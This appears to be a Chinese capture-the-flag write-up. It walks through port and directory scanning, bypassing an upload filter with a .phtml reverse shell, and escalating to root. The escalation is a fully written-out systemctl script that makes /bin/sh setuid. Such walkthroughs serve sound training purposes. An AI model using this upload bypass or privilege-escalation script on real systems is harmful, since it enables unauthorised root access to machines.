脆弱
了解主动侦察、Web 应用攻击和权限提升。
开放了6个端口,操作系统是ubuntu linux,web服务运行在3333端口,好了前面的10000端口扫描完了,有前进的路线了,剩下扫描全部端口不能少任何一个信息。
然后用gobuster对3333端口的web服务扫描一下大概结构
扫描发现了上传文件的目录internal
确定了是php后端语言开发,所以上传的后门也应该是php。
制作一个模糊查询,去测试过滤了啥。
发现没有过滤phtml扩展名,直接可以上传成功了。
shell的一部分文件,获取此shell
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
改一下ip和port,直接访问上传成功的页面就可以了
现在可以去寻找我们上传的shell在哪了
访问一下这个目录
点击执行就完事了。你就会获得一个shell。
获得shell,先加固一下shell防止手残,按ctrl+c
出了点小问题,但问题不大。
得到一个完整的shell。
开始提权了,因为是data用户
大概的提权思路是,先查看历史记录,有没有输错指令暴露密码,再试错误的/etc/pass和shadow的权限配置,在看suid或guid,只看错误的服务配置,在看定时任务,在看sudo,在不行就查看内核。
查看历史记录
啥都没有,看看ssh密钥文件。
也什么都没有。
在看/etc的权限错误
也没用,再看有没有root用户运行的服务
发现有很多,但是我不会利用,我只会以root用户运行的udf提权。
看看sudo吧
好了,sudo也没有,看看suid和guid吧。
看看漏洞盒子
https://gtfobins.github.io/gtfobins/find/
发现有了,ok查看利用一下
#复制以下所有代码到目标机的shell界面即可(该脚本的目的是创建一个系统服务并以root用户身份运行它)
TK=$(mktemp).service #我们创建一个名为“TK”的环境变量。在这个变量中,我们调用mktemp命令来创建一个临时文件,作为Systemd服务单元文件(.service在最后)
#创建一个单元文件并将其分配给环境变量--以此完成服务单元文件的构造
#下面是我们执行单元文件所需要的配置
#默认情况下:systemctl将在/etc/system/systemd中搜索文件。
#但是当前的登录用户没有权限写入/etc/system/systemd,我们通过将单元文件内容 一行一行地回显到刚才创建的env变量中来解决这个问题
echo '[Service] #调用echo命令开始回显输入(注意单引号,通过不包括关闭行的第二个单引号,我们能够输入多个单行并完成我们的Systemd服务单元文件)
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/sh" #当服务启动时调用默认的系统shell(-c 告诉shell执行引号中的所有内容)
[Install] #单元文件的第二部分
WantedBy=multi-user.target' > $TK #设置此服务将运行的状态(或运行级别),将我们的所有输入指向TK env变量
#使用 systemctl 运行这个单元文件
/bin/systemctl link $TK #这使得我们的单元文件可用于systemctl命令,即使它在标准搜索路径之外
/bin/systemctl enable --now $TK #启用一个单元实例--服务单元文件得以运行
大概提权意思就是,在单元格运行时,会用ExecStart=/bin/bash -c执行“ 需要执行的命令”,这就是提权的核心
结束
THE END
暂无评论内容